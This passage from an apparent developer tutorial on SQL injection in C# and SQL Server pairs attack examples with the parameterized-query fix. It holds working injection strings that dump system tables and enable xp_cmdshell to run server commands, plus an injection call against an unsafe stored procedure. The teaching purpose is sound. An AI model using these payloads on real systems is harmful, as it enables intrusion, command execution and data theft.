master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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